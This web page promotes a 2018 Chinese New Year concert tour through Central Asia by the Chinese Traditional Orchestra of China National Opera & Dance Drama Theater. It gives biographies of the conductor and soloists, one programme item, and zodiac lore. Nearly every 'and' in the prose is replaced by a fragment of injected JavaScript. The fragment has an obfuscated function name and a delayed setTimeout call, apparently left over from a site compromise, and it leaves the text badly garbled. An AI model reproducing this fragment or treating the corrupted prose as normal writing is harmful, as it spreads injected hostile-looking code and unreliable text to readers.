Tour 3

In 2018, the Year of the Dog will be welcomed with Chinese New Year Concerts along the Silk Road through Central Asia. Audiences can expect a multifaceted andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and energetic performance with top soloists, presented by the Chinese Traditional Orchestra of China National Opera andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dance Drama Theater.
 


ORCHESTRA

Orchestra-mini-IIThe Chinese Traditional Orchestra of China National Opera & Dance Drama Theater

The Chinese Traditional Orchestra is affiliated to the China National Opera & Dance Drama Theater (CNODDT), the largest andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and oldest state-level theater in China. With a history of over 50 years, the Chinese Traditional Orchestra has created a large number of renowned andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and popular Chinese traditional operas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dance dramas. The revolutionary opera “The White-Haired Girl” is probably the best known in the west.

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CONDUCTOR

ConductorhongxiaHONG XIA 

Hong Xia is a National First Class Conductor in China andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and permanent conductor of the China National Opera andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dance Drama Theater.

Hong is a member of the Chinese Musicians Association, a trustee of the China Nationalities Orchestra Society, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the vice-president of the Conducting Major Committee at the China Nationalities Orchestra Society.

ERHU SOLOIST

Lin-GanLIN GAN

Lin Gan is a young erhu performer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a National First Class Performer in China. She is a soloist andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lead erhu performer at the Chinese Traditional Orchestra of China National Opera andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dance Drama Theater. She received a Master of Fine Arts in erhu performance from the Central Conservatory of Music. She is a member of the Chinese Musicians Association andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a trustee of the Erhu Society at the Chinese Musicians Association. She is also a member of the China Nationalities Orchestra Society andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a trustee of the Huqin Professional Committee at the China Nationalities Orchestra Society.

GUZHENG SOLOIST

Lei-DianyunLEI DIANYUN

Lei Dianyun is a solo guzheng performer at the Chinese Traditional Orchestra of China National Opera andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dance Drama Theater andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a committee member of the Ministry of Culture Youth Federation. She is a member of the Chinese Musicians Association andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a trustee of its Guzheng Society. She is also a trustee of the Guzheng Society at the China Nationalities Orchestra Society.

DIZI SOLOIST

Huang KaiHUANG KAI

ERHU SOLOIST

Yang-Wenna-2YANG WENNA

Yang Wenna is a young erhu performer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a member of the Chinese Musicians Association, the Chinese Musicians Association Erhu Society, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the China Nationalities Orchestra Society. She is currently a soloist andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the chief zhonghu performer in the Chinese Traditional Orchestra of China National Opera andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dance Drama Theater. She is a solo erhu performer in the Asian Orchestra (Japanese, Korean, Chinese).

PERCUSSION SOLOIST

Wang-JiananWANG JIANAN

Wang Jianan graduated from the China Conservatory of Music andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and studied under professors Jiao Shanlin, Wang Yidong, Fang Guoqing, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Wang Jianhua.

As a student, Jianan served as the captain of the Affiliated High School of China Conservatory of Music Youth Orchestra andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the chief percussionist in the Huaxia Chinese  Orchestra.

PROGRAM

music-part-miniConductor: Hong Xia
Performer: Chinese Traditional Orchestra of China National Opera andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dance Drama Theater

1. Traditional Chinese Orchestral Music “Spring Festival Overture”
Composer: Li Huanzhi

This orchestral piece is inspired by the tones andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rhythms of traditional Chinese folk dance Yangge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and song forms from Northern Shaanxi Province. As a musical exploration of the traditional Chinese Spring Festival, the piece depicts a jubilant andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and touching celebration scene in which people exchange good wishes with their friends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and family.

SIGN OF THE YEAR

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If you are born in 1934, 1946, 1958, 1970, 1982, 1994, 2006 or 2018, you will have a very special birthday in the coming year: according to the 12-years-cycle of the Chinese Lunar Calendar you belong to the zodiac of the Dog. In addition, each zodiac animal is associated with one of the five elements: Gold (Metal), Wood, Water, Fire andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Earth. That fore, every zodiac associated with an element comes back only once in 60 years. Chinese traditional culture believes that a person’s characteristics are formed by his birth year’s zodiac animal sign in combination with the element.